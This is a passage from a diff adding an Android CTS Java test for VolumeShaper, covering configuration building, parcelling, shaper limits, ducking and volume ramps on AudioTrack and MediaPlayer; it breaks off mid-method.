+import static org.junit.Assert.fail;
+import static org.testng.Assert.assertThrows;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.AudioAttributes;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioTrack;
+import android.media.MediaPlayer;
+import android.media.VolumeShaper;
+import android.media.audio.cts.R;
+import android.media.cts.AudioHelper;
+import android.os.Parcel;
+import android.os.PowerManager;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+
+/**
+ * VolumeShaperTest is automated using VolumeShaper.getVolume() to verify that a ramp
+ * or a duck is at the expected volume level. Listening to some tests is also possible,
+ * as we logcat the expected volume change.
+ *
+ * To see the listening messages:
+ *
+ * adb logcat | grep VolumeShaperTest
+ */
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+@RunWith(JUnitParamsRunner.class)
+public class VolumeShaperTest {
+    private static final String TAG = "VolumeShaperTest";
+
+    // ramp or duck time (duration) used in tests.
+    private static final long RAMP_TIME_MS = 3000;
+
+    // volume tolerance for completion volume checks.
+    private static final float VOLUME_TOLERANCE = 0.0000001f;
+
+    // volume difference permitted on replace() with join.
+    private static final float JOIN_VOLUME_TOLERANCE = 0.1f;
+
+    // time to wait for player state change
+    private static final long WARMUP_TIME_MS = 300;
+
+    private static final VolumeShaper.Configuration SILENCE =
+            new VolumeShaper.Configuration.Builder()
+                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_LINEAR)
+                .setCurve(new float[] { 0.f, 1.f } /* times */,
+                        new float[] { 0.f, 0.f } /* volumes */)
+                .setDuration(RAMP_TIME_MS)
+                .build();
+
+    // Duck configurations go from 1.f down to 0.2f (not full ramp down).
+    private static final VolumeShaper.Configuration LINEAR_DUCK =
+            new VolumeShaper.Configuration.Builder()
+                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_LINEAR)
+                .setCurve(new float[] { 0.f, 1.f } /* times */,
+                        new float[] { 1.f, 0.2f } /* volumes */)
+                .setDuration(RAMP_TIME_MS)
+                .build();
+
+    // Ramp configurations go from 0.f up to 1.f
+    private static final VolumeShaper.Configuration LINEAR_RAMP =
+            new VolumeShaper.Configuration.Builder(VolumeShaper.Configuration.LINEAR_RAMP)
+                .setDuration(RAMP_TIME_MS)
+                .build();
+
+    private static final VolumeShaper.Configuration CUBIC_RAMP =
+            new VolumeShaper.Configuration.Builder(VolumeShaper.Configuration.CUBIC_RAMP)
+                .setDuration(RAMP_TIME_MS)
+                .build();
+
+    private static final VolumeShaper.Configuration SINE_RAMP =
+            new VolumeShaper.Configuration.Builder(VolumeShaper.Configuration.SINE_RAMP)
+                .setDuration(RAMP_TIME_MS)
+                .build();
+
+    private static final VolumeShaper.Configuration SCURVE_RAMP =
+            new VolumeShaper.Configuration.Builder(VolumeShaper.Configuration.SCURVE_RAMP)
+            .setDuration(RAMP_TIME_MS)
+            .build();
+
+    // This linear ramp VolumeShaper runs on media time, not clock time.
+    // Note: for direct or offloaded audio, media time is not supported, so clock time is used.
+    private static final VolumeShaper.Configuration LINEAR_RAMP_MEDIA_TIME =
+            new VolumeShaper.Configuration.Builder(VolumeShaper.Configuration.LINEAR_RAMP)
+                    .setDuration(RAMP_TIME_MS)
+                    .setOptionFlags(0) // clears flags, operates on media time.
+                    .build();
+
+    // internal use only
+    private static final VolumeShaper.Configuration LOG_RAMP =
+            new VolumeShaper.Configuration.Builder()
+                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_LINEAR)
+                .setOptionFlags(
+                        VolumeShaper.Configuration.OPTION_FLAG_VOLUME_IN_DBFS |
+                        VolumeShaper.Configuration.OPTION_FLAG_CLOCK_TIME)
+                .setCurve(new float[] { 0.f, 1.f } /* times */,
+                        new float[] { -80.f, 0.f } /* volumes */)
+                .setDuration(RAMP_TIME_MS)
+                .build();
+
+    // a step ramp is not continuous, so we have a different test for it.
+    private static final VolumeShaper.Configuration STEP_RAMP =
+            new VolumeShaper.Configuration.Builder()
+                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_STEP)
+                .setCurve(new float[] { 0.f, 1.f } /* times */,
+                        new float[] { 0.f, 1.f } /* volumes */)
+                .setDuration(RAMP_TIME_MS)
+                .build();
+
+    private static final VolumeShaper.Configuration[] ALL_STANDARD_RAMPS = {
+        LINEAR_RAMP,
+        CUBIC_RAMP,
+        SINE_RAMP,
+        SCURVE_RAMP,
+    };
+
+    private static final VolumeShaper.Configuration[] TEST_DUCKS = {
+        LINEAR_DUCK,
+    };
+
+    // this ramp should result in non-monotonic behavior with a typical cubic spline.
+    private static final VolumeShaper.Configuration MONOTONIC_TEST =
+            new VolumeShaper.Configuration.Builder()
+                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_CUBIC_MONOTONIC)
+                .setCurve(new float[] { 0.f, 0.3f, 0.7f, 1.f } /* times */,
+                        new float[] { 0.f, 0.5f, 0.5f, 1.f } /* volumes */)
+                .setDuration(RAMP_TIME_MS)
+                .build();
+
+    private static final VolumeShaper.Configuration MONOTONIC_TEST_FAIL =
+            new VolumeShaper.Configuration.Builder(MONOTONIC_TEST)
+                .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_CUBIC)
+                .build();
+
+    private static final VolumeShaper.Configuration[] MONOTONIC_RAMPS = {
+            MONOTONIC_TEST,
+            CUBIC_RAMP,
+            SCURVE_RAMP,
+            SINE_RAMP,
+    };
+
+    private static final VolumeShaper.Operation[] ALL_STANDARD_OPERATIONS = {
+        VolumeShaper.Operation.PLAY,
+        VolumeShaper.Operation.REVERSE,
+    };
+
+    private boolean hasAudioOutput() {
+        return getContext().getPackageManager()
+            .hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
+    }
+
+    private boolean isLowRamDevice() {
+        return ((ActivityManager) getContext().getSystemService(Context.ACTIVITY_SERVICE))
+                .isLowRamDevice();
+    }
+
+    private static AudioTrack createSineAudioTrack() {
+        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_FLOAT;
+        final int TEST_MODE = AudioTrack.MODE_STATIC;
+        final int TEST_SR = 48000;
+        final AudioFormat format = new AudioFormat.Builder()
+                .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
+                .setEncoding(TEST_FORMAT)
+                .setSampleRate(TEST_SR)
+                .build();
+
+        final int frameCount = AudioHelper.frameCountFromMsec(100 /*ms*/, format);
+        final int frameSize = AudioHelper.frameSizeFromFormat(format);
+
+        final AudioTrack audioTrack = new AudioTrack.Builder()
+            .setAudioFormat(format)
+            .setBufferSizeInBytes(frameCount * frameSize)
+            .setTransferMode(TEST_MODE)
+            .build();
+        // create float array and write it
+        final int sampleCount = frameCount * format.getChannelCount();
+        final float[] vaf = AudioHelper.createSoundDataInFloatArray(
+                sampleCount, TEST_SR,
+                600 * format.getChannelCount() /* frequency */, 0 /* sweep */);
+        assertEquals(vaf.length, audioTrack.write(vaf, 0 /* offsetInFloats */, vaf.length,
+                AudioTrack.WRITE_NON_BLOCKING));
+        audioTrack.setLoopPoints(0, frameCount, -1 /* loopCount */);
+        return audioTrack;
+    }
+
+    private MediaPlayer createMediaPlayer(boolean offloaded) {
+        // MP3 resource should be greater than 1m to introduce offloading
+        final int RESOURCE_ID = R.raw.test1m1s;
+
+        final MediaPlayer mediaPlayer = MediaPlayer.create(getContext(),
+                RESOURCE_ID,
+                new AudioAttributes.Builder()
+                    .setUsage(offloaded ?
+                            AudioAttributes.USAGE_MEDIA  // offload allowed
+                            : AudioAttributes.USAGE_NOTIFICATION) // offload not allowed
+                    .build(),
+                new AudioManager(getContext()).generateAudioSessionId());
+        mediaPlayer.setWakeMode(getContext(), PowerManager.PARTIAL_WAKE_LOCK);
+        mediaPlayer.setLooping(true);
+        return mediaPlayer;
+    }
+
+    private static void checkEqual(String testName,
+            VolumeShaper.Configuration expected, VolumeShaper.Configuration actual) {
+        assertEquals(testName + " configuration should be equal",
+                expected, actual);
+        assertEquals(testName + " configuration.hashCode() should be equal",
+                expected.hashCode(), actual.hashCode());
+        assertEquals(testName + " configuration.toString() should be equal",
+                expected.toString(), actual.toString());
+    }
+
+    private static void checkNotEqual(String testName,
+            VolumeShaper.Configuration notEqual, VolumeShaper.Configuration actual) {
+        assertTrue(testName + " configuration should not be equal",
+                !actual.equals(notEqual));
+        assertTrue(testName + " configuration.hashCode() should not be equal",
+                actual.hashCode() != notEqual.hashCode());
+        assertTrue(testName + " configuration.toString() should not be equal",
+                !actual.toString().equals(notEqual.toString()));
+    }
+
+    // generic player class to simplify testing
+    private interface Player extends AutoCloseable {
+        public void start();
+        public void pause();
+        public void stop();
+        @Override public void close();
+        public VolumeShaper createVolumeShaper(VolumeShaper.Configuration configuration);
+        public String name();
+    }
+
+    private static class AudioTrackPlayer implements Player {
+        public AudioTrackPlayer() {
+            mTrack = createSineAudioTrack();
+            mName = new String("AudioTrack");
+        }
+
+        @Override public void start() {
+            mTrack.play();
+        }
+
+        @Override public void pause() {
+            mTrack.pause();
+        }
+
+        @Override public void stop() {
+            mTrack.stop();
+        }
+
+        @Override public void close() {
+            mTrack.release();
+        }
+
+        @Override
+        public VolumeShaper createVolumeShaper(VolumeShaper.Configuration configuration) {
+            return mTrack.createVolumeShaper(configuration);
+        }
+
+        @Override public String name() {
+            return mName;
+        }
+
+        private final AudioTrack mTrack;
+        private final String mName;
+    }
+
+    private class MediaPlayerPlayer implements Player {
+        public MediaPlayerPlayer(boolean offloaded) {
+            mPlayer = createMediaPlayer(offloaded);
+            mName = new String("MediaPlayer" + (offloaded ? "Offloaded" : "NonOffloaded"));
+        }
+
+        @Override public void start() {
+            mPlayer.start();
+        }
+
+        @Override public void pause() {
+            mPlayer.pause();
+        }
+
+        @Override public void stop() {
+            mPlayer.stop();
+        }
+
+        @Override public void close() {
+            mPlayer.release();
+        }
+
+        @Override
+        public VolumeShaper createVolumeShaper(VolumeShaper.Configuration configuration) {
+            return mPlayer.createVolumeShaper(configuration);
+        }
+
+        @Override public String name() {
+            return mName;
+        }
+
+        private final MediaPlayer mPlayer;
+        private final String mName;
+    }
+
+    private static final int PLAYER_TYPES = 3;
+    private static final int PLAYER_TYPE_AUDIO_TRACK = 0;
+    private static final int PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED = 1;
+    private static final int PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED = 2;
+
+    private Player createPlayer(int type) {
+        switch (type) {
+            case PLAYER_TYPE_AUDIO_TRACK:
+                return new AudioTrackPlayer();
+            case PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED:
+                return new MediaPlayerPlayer(false /* offloaded */);
+            case PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED:
+                return new MediaPlayerPlayer(true /* offloaded */);
+            default:
+                return null;
+        }
+    }
+
+    private static void testBuildRamp(int points) {
+        float[] ramp = new float[points];
+        final float fscale = 1.f / (points - 1);
+        for (int i = 0; i < points; ++i) {
+            ramp[i] = i * fscale;
+        }
+        ramp[points - 1] = 1.f;
+        // does it build?
+        final VolumeShaper.Configuration config = new VolumeShaper.Configuration.Builder()
+                .setCurve(ramp, ramp)
+                .build();
+    }
+
+    @SmallTest
+    @Test
+    public void testVolumeShaperConfigurationBuilder() throws Exception {
+        final String TEST_NAME = "testVolumeShaperConfigurationBuilder";
+
+        // Verify that IllegalStateExceptions are properly triggered
+        // for methods with no arguments.
+
+        Log.d(TAG, TEST_NAME + " configuration builder should throw ISE if no curve specified");
+        assertThrows(IllegalStateException.class,
+                new VolumeShaper.Configuration.Builder()
+                    ::build);
+
+        assertThrows(IllegalStateException.class,
+                new VolumeShaper.Configuration.Builder()
+                    ::invertVolumes);
+
+        assertThrows(IllegalStateException.class,
+                new VolumeShaper.Configuration.Builder()
+                    ::reflectTimes);
+
+        Log.d(TAG, TEST_NAME + " configuration builder should IAE on invalid curve");
+        // Verify IllegalArgumentExceptions are properly triggered
+        // for methods with arguments.
+        final float[] ohOne = { 0.f, 1.f };
+        final float[][] invalidCurves = {
+                { -1.f, 1.f },
+                { 0.5f },
+                { 0.f, 2.f },
+        };
+        for (float[] invalidCurve : invalidCurves) {
+            assertThrows(IllegalArgumentException.class,
+                    () -> {
+                        new VolumeShaper.Configuration.Builder()
+                            .setCurve(invalidCurve, ohOne)
+                            .build(); });
+
+            assertThrows(IllegalArgumentException.class,
+                    () -> {
+                        new VolumeShaper.Configuration.Builder()
+                            .setCurve(ohOne, invalidCurve)
+                            .build(); });
+        }
+
+        Log.d(TAG, TEST_NAME + " configuration builder should throw IAE on invalid duration");
+        assertThrows(IllegalArgumentException.class,
+                () -> {
+                    new VolumeShaper.Configuration.Builder()
+                        .setCurve(ohOne, ohOne)
+                        .setDuration(-1)
+                        .build(); });
+
+        Log.d(TAG, TEST_NAME + " configuration builder should throw IAE on invalid interpolator");
+        assertThrows(IllegalArgumentException.class,
+                () -> {
+                    new VolumeShaper.Configuration.Builder()
+                        .setCurve(ohOne, ohOne)
+                        .setInterpolatorType(-1)
+                        .build(); });
+
+        // Verify defaults.
+        // Use the Builder with setCurve(ohOne, ohOne).
+        final VolumeShaper.Configuration config =
+                new VolumeShaper.Configuration.Builder().setCurve(ohOne, ohOne).build();
+        assertEquals(TEST_NAME + " default interpolation should be cubic",
+                VolumeShaper.Configuration.INTERPOLATOR_TYPE_CUBIC, config.getInterpolatorType());
+        assertEquals(TEST_NAME + " default duration should be 1000 ms",
+                1000, config.getDuration());
+        assertTrue(TEST_NAME + " times should be { 0.f, 1.f }",
+                Arrays.equals(ohOne, config.getTimes()));
+        assertTrue(TEST_NAME + " volumes should be { 0.f, 1.f }",
+                Arrays.equals(ohOne, config.getVolumes()));
+
+        // Due to precision problems, we cannot have ramps that do not have
+        // perfect binary representation for equality comparison.
+        // (For example, 0.1 is a repeating mantissa in binary,
+        //  but 0.25, 0.5 can be expressed with few mantissa bits).
+        final float[] binaryCurve1 = { 0.f, 0.25f, 0.5f, 0.625f,  1.f };
+        final float[] binaryCurve2 = { 0.f, 0.125f, 0.375f, 0.75f, 1.f };
+        final VolumeShaper.Configuration[] BINARY_RAMPS = {
+            LINEAR_RAMP,
+            CUBIC_RAMP,
+            new VolumeShaper.Configuration.Builder()
+                    .setCurve(binaryCurve1, binaryCurve2)
+                    .build(),
+        };
+
+        // Verify volume inversion and time reflection work as expected
+        // with ramps (which start at { 0.f, 0.f } and end at { 1.f, 1.f }).
+        for (VolumeShaper.Configuration testRamp : BINARY_RAMPS) {
+            VolumeShaper.Configuration ramp;
+            ramp = new VolumeShaper.Configuration.Builder(testRamp).build();
+            checkEqual(TEST_NAME, testRamp, ramp);
+
+            ramp = new VolumeShaper.Configuration.Builder(testRamp)
+                    .setDuration(10)
+                    .build();
+            checkNotEqual(TEST_NAME, testRamp, ramp);
+
+            ramp = new VolumeShaper.Configuration.Builder(testRamp).build();
+            checkEqual(TEST_NAME, testRamp, ramp);
+
+            ramp = new VolumeShaper.Configuration.Builder(testRamp)
+                    .invertVolumes()
+                    .build();
+            checkNotEqual(TEST_NAME, testRamp, ramp);
+
+            ramp = new VolumeShaper.Configuration.Builder(testRamp)
+                    .invertVolumes()
+                    .invertVolumes()
+                    .build();
+            checkEqual(TEST_NAME, testRamp, ramp);
+
+            ramp = new VolumeShaper.Configuration.Builder(testRamp)
+                    .reflectTimes()
+                    .build();
+            checkNotEqual(TEST_NAME, testRamp, ramp);
+
+            ramp = new VolumeShaper.Configuration.Builder(testRamp)
+                    .reflectTimes()
+                    .reflectTimes()
+                    .build();
+            checkEqual(TEST_NAME, testRamp, ramp);
+
+            // check scaling start and end volumes
+            ramp = new VolumeShaper.Configuration.Builder(testRamp)
+                    .scaleToStartVolume(0.5f)
+                    .build();
+            checkNotEqual(TEST_NAME, testRamp, ramp);
+
+            ramp = new VolumeShaper.Configuration.Builder(testRamp)
+                    .scaleToStartVolume(0.5f)
+                    .scaleToStartVolume(0.f)
+                    .build();
+            checkEqual(TEST_NAME, testRamp, ramp);
+
+            ramp = new VolumeShaper.Configuration.Builder(testRamp)
+                    .scaleToStartVolume(0.5f)
+                    .scaleToEndVolume(0.f)
+                    .scaleToStartVolume(1.f)
+                    .invertVolumes()
+                    .build();
+            checkEqual(TEST_NAME, testRamp, ramp);
+        }
+
+        // check that getMaximumCurvePoints() returns the correct value
+        final int maxPoints = VolumeShaper.Configuration.getMaximumCurvePoints();
+
+        testBuildRamp(maxPoints); // no exceptions here.
+
+        if (maxPoints < Integer.MAX_VALUE) {
+            Log.d(TAG, TEST_NAME + " configuration builder "
+                    + "should throw IAE if getMaximumCurvePoints() exceeded");
+            assertThrows(IllegalArgumentException.class,
+                    () -> { testBuildRamp(maxPoints + 1); });
+        }
+    } // testVolumeShaperConfigurationBuilder
+
+    @SmallTest
+    @Test
+    public void testVolumeShaperConfigurationParcelable() throws Exception {
+        final String TEST_NAME = "testVolumeShaperConfigurationParcelable";
+
+        for (VolumeShaper.Configuration config : ALL_STANDARD_RAMPS) {
+            assertEquals(TEST_NAME + " no parceled file descriptors",
+                    0 /* expected */, config.describeContents());
+
+            final Parcel srcParcel = Parcel.obtain();
+            config.writeToParcel(srcParcel, 0 /* flags */);
+
+            final byte[] marshallBuffer = srcParcel.marshall();
+
+            final Parcel dstParcel = Parcel.obtain();
+            dstParcel.unmarshall(marshallBuffer, 0 /* offset */, marshallBuffer.length);
+            dstParcel.setDataPosition(0);
+
+            final VolumeShaper.Configuration restoredConfig =
+                    VolumeShaper.Configuration.CREATOR.createFromParcel(dstParcel);
+            assertEquals(TEST_NAME +
+                    " marshalled/restored VolumeShaper.Configuration should match",
+                    config, restoredConfig);
+        }
+    } // testVolumeShaperConfigurationParcelable
+
+    @SmallTest
+    @Test
+    public void testVolumeShaperOperationParcelable() throws Exception {
+        final String TEST_NAME = "testVolumeShaperOperationParcelable";
+
+        for (VolumeShaper.Operation operation : ALL_STANDARD_OPERATIONS) {
+            assertEquals(TEST_NAME + " no parceled file descriptors",
+                    0 /* expected */, operation.describeContents());
+
+            final Parcel srcParcel = Parcel.obtain();
+            operation.writeToParcel(srcParcel, 0 /* flags */);
+
+            final byte[] marshallBuffer = srcParcel.marshall();
+
+            final Parcel dstParcel = Parcel.obtain();
+            dstParcel.unmarshall(marshallBuffer, 0 /* offset */, marshallBuffer.length);
+            dstParcel.setDataPosition(0);
+
+            final VolumeShaper.Operation restoredOperation =
+                    VolumeShaper.Operation.CREATOR.createFromParcel(dstParcel);
+            assertEquals(TEST_NAME +
+                    " marshalled/restored VolumeShaper.Operation should match",
+                    operation, restoredOperation);
+        }
+    } // testVolumeShaperOperationParcelable
+
+    // This tests that we can't create infinite shapers and cause audioserver
+    // to crash due to memory or performance issues.  Typically around 16 app based
+    // shapers are allowed by the audio server.
+    @SmallTest
+    @Test
+    public void testMaximumShapers() {
+        final String TEST_NAME = "testMaximumShapers";
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        final int WAY_TOO_MANY_SHAPERS = 1000;
+
+        for (int p = 0; p < PLAYER_TYPES; ++p) {
+            try (Player player = createPlayer(p)) {
+                final String testName = TEST_NAME + " " + player.name();
+                final VolumeShaper[] shapers = new VolumeShaper[WAY_TOO_MANY_SHAPERS];
+                int i = 0;
+                try {
+                    for (; i < shapers.length; ++i) {
+                        shapers[i] = player.createVolumeShaper(SILENCE);
+                    }
+                    fail(testName + " should not be able to create "
+                            + shapers.length + " shapers");
+                } catch (IllegalStateException ise) {
+                    Log.d(TAG, testName + " " + i + " shapers created before failure (OK)");
+                }
+            }
+            // volume shapers close when player closes.
+        }
+    } // testMaximumShapers
+
+    @Test
+    public void testDuckAudioTrack() throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_AUDIO_TRACK)) {
+            runTestDuckPlayer("testDuckAudioTrack", player);
+        }
+    }
+
+    @Test
+    public void testDuckMediaPlayerNonOffloaded() throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED)) {
+            runTestDuckPlayer("testDuckMediaPlayerNonOffloaded", player);
+        }
+    }
+
+    @Test
+    public void testDuckMediaPlayerOffloaded() throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED)) {
+            runTestDuckPlayer("testDuckMediaPlayerOffloaded", player);
+        }
+    }
+
+    private void runTestDuckPlayer(String testName, Player player) throws Exception {
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        try (VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE)) {
+            Log.d(TAG, testName + " starting");
+            player.start();
+            Thread.sleep(WARMUP_TIME_MS);
+
+            runDuckTest(testName, volumeShaper);
+            runCloseTest(testName, volumeShaper);
+        }
+    }
+
+    private VolumeShaper.Configuration[] getAllStandardRamps() {
+        return ALL_STANDARD_RAMPS;
+    }
+
+    // Parameters are indices to ALL_STANDARD_RAMPS configuration array.
+    @Test
+    @Parameters(method = "getAllStandardRamps")
+    public void testRampAudioTrack(
+            VolumeShaper.Configuration configuration) throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_AUDIO_TRACK)) {
+            runTestRampPlayer("testRampAudioTrack", player, configuration);
+        }
+    }
+
+    // Parameters are indices to ALL_STANDARD_RAMPS configuration array.
+    @Test
+    @Parameters(method = "getAllStandardRamps")
+    public void testRampMediaPlayerNonOffloaded(
+            VolumeShaper.Configuration configuration) throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED)) {
+            runTestRampPlayer("testRampMediaPlayerNonOffloaded", player, configuration);
+        }
+    }
+
+    // Parameters are indices to ALL_STANDARD_RAMPS configuration array.
+    @Test
+    @Parameters(method = "getAllStandardRamps")
+    public void testRampMediaPlayerOffloaded(
+            VolumeShaper.Configuration configuration) throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED)) {
+            runTestRampPlayer("testRampMediaPlayerOffloaded", player, configuration);
+        }
+    }
+
+    private void runTestRampPlayer(
+            String testName, Player player, VolumeShaper.Configuration configuration)
+            throws Exception {
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        try (VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE)) {
+            Log.d(TAG, testName + " starting");
+            player.start();
+            Thread.sleep(WARMUP_TIME_MS);
+
+            runRampTest(testName, volumeShaper, configuration);
+            runCloseTest(testName, volumeShaper);
+        }
+    }
+
+    @FlakyTest
+    @Test
+    public void testCornerCaseAudioTrack() throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_AUDIO_TRACK)) {
+            runTestCornerCasePlayer("testCornerCaseAudioTrack", player);
+        }
+    }
+
+    @FlakyTest
+    @Test
+    public void testCornerCaseMediaPlayerNonOffloaded() throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED)) {
+            runTestCornerCasePlayer("testCornerCaseMediaPlayerNonOffloaded", player);
+        }
+    }
+
+    @FlakyTest
+    @Test
+    public void testCornerCaseMediaPlayerOffloaded() throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED)) {
+            runTestCornerCasePlayer("testCornerCaseMediaPlayerOffloaded", player);
+        }
+    }
+
+    private void runTestCornerCasePlayer(String testName, Player player) throws Exception {
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        final VolumeShaper.Configuration config = LINEAR_RAMP;
+        VolumeShaper volumeShaper = null;
+        try {
+            volumeShaper = player.createVolumeShaper(config);
+
+            runStartIdleTest(testName, volumeShaper, player);
+            runRampCornerCaseTest(testName, volumeShaper, config);
+            runCloseTest(testName, volumeShaper);
+
+            Log.d(TAG, testName + " recreating VolumeShaper and repeating with pause");
+            volumeShaper = player.createVolumeShaper(config);
+            player.pause();
+            Thread.sleep(100 /* millis */);
+            runStartIdleTest(testName, volumeShaper, player);
+
+            // volumeShaper not explicitly closed, will close upon finalize or player close.
+            Log.d(TAG, testName + " recreating VolumeShaper and repeating with stop");
+            volumeShaper = player.createVolumeShaper(config);
+            player.stop();
+            Thread.sleep(100 /* millis */);
+            runStartIdleTest(testName, volumeShaper, player);
+
+            Log.d(TAG, testName + " closing Player before VolumeShaper");
+            player.close();
+            runCloseTest2(testName, volumeShaper);
+        } finally {
+            if (volumeShaper != null) {
+                volumeShaper.close();
+            }
+        }
+    } // runTestCornerCasePlayer
+
+    @FlakyTest
+    @LargeTest
+    @Test
+    public void testPlayerCornerCase2() throws Exception {
+        final String TEST_NAME = "testPlayerCornerCase2";
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        final VolumeShaper.Configuration config = LINEAR_RAMP;
+
+        for (int p = 0; p < PLAYER_TYPES; ++p) {
+            Player player = null;
+            VolumeShaper volumeShaper = null;
+            try {
+                player = createPlayer(p);
+                volumeShaper = player.createVolumeShaper(config);
+                final String testName = TEST_NAME + " " + player.name();
+
+                runStartSyncTest(testName, volumeShaper, player);
+                runCloseTest(testName, volumeShaper);
+
+                Log.d(TAG, testName + " recreating VolumeShaper and repeating with pause");
+                volumeShaper = player.createVolumeShaper(config);
+                player.pause();
+                Thread.sleep(100 /* millis */);
+                runStartSyncTest(testName, volumeShaper, player);
+
+                Log.d(TAG, testName + " closing Player before VolumeShaper");
+                player.close();
+                runCloseTest2(testName, volumeShaper);
+            } finally {
+                if (volumeShaper != null) {
+                    volumeShaper.close();
+                }
+                if (player != null) {
+                    player.close();
+                }
+            }
+        }
+    } // testPlayerCornerCase2
+
+    @FlakyTest
+    @LargeTest
+    @Test
+    public void testPlayerJoin() throws Exception {
+        final String TEST_NAME = "testPlayerJoin";
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        for (int p = 0; p < PLAYER_TYPES; ++p) {
+            try (   Player player = createPlayer(p);
+                    VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE);
+                    ) {
+                final String testName = TEST_NAME + " " + player.name();
+                volumeShaper.apply(VolumeShaper.Operation.PLAY);
+                player.start();
+                Thread.sleep(WARMUP_TIME_MS);
+
+                Log.d(TAG, " we join several LINEAR_RAMPS together "
+                        + " this effectively is one LINEAR_RAMP (volume increasing).");
+                final long durationMs = 5000;
+                final long incrementMs = 1000;
+                for (long i = 0; i < durationMs; i += incrementMs) {
+                    Log.d(TAG, testName + " Play - join " + i);
+                    volumeShaper.replace(new VolumeShaper.Configuration.Builder(LINEAR_RAMP)
+                                    .setDuration(durationMs - i)
+                                    .build(),
+                            VolumeShaper.Operation.PLAY, true /* join */);
+                    assertEquals(testName + " linear ramp should continue on join",
+                            (float)i / durationMs, volumeShaper.getVolume(), 0.05 /* epsilon */);
+                    Thread.sleep(incrementMs);
+                }
+                Log.d(TAG, testName + "volume at max level now (closing player)");
+            }
+        }
+    } // testPlayerJoin
+
+    private VolumeShaper.Configuration[] getMonotonicRamps() {
+        return MONOTONIC_RAMPS;
+    }
+
+    // Parameters are indices to MONOTONIC_RAMPS configuration array.
+    @Test
+    @Parameters(method = "getMonotonicRamps")
+    public void testCubicMonotonicAudioTrack(
+            VolumeShaper.Configuration configuration) throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_AUDIO_TRACK)) {
+            runTestCubicMonotonicPlayer(
+                    "testCubicMonotonicAudioTrack", player, configuration);
+        }
+    }
+
+    // Parameters are indices to MONOTONIC_RAMPS configuration array.
+    @Test
+    @Parameters(method = "getMonotonicRamps")
+    public void testCubicMonotonicMediaPlayerNonOffloaded(
+            VolumeShaper.Configuration configuration) throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED)) {
+            runTestCubicMonotonicPlayer(
+                    "testCubicMonotonicMediaPlayerNonOffloaded", player, configuration);
+        }
+    }
+
+    // Parameters are indices to MONOTONIC_RAMPS configuration array.
+    @Test
+    @Parameters(method = "getMonotonicRamps")
+    public void testCubicMonotonicMediaPlayerOffloaded(
+            VolumeShaper.Configuration configuration) throws Exception {
+        try (Player player = createPlayer(PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED)) {
+            runTestCubicMonotonicPlayer(
+                    "testCubicMonotonicMediaPlayerOffloaded", player, configuration);
+        }
+    }
+
+    private void runTestCubicMonotonicPlayer(
+            String testName, Player player, VolumeShaper.Configuration configuration)
+            throws Exception {
+        if (!hasAudioOutput()) {
+            Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+                    + "audio output HAL");
+            return;
+        }
+
+        try (VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE)) {
+            volumeShaper.apply(VolumeShaper.Operation.PLAY);
+            player.start();
+            Thread.sleep(WARMUP_TIME_MS);
+
+            // test configurations known monotonic
+            Log.d(TAG, testName + " starting test");
+
+            float lastVolume = 0;
+            final long incrementMs = 100;
+
+            volumeShaper.replace(configuration,
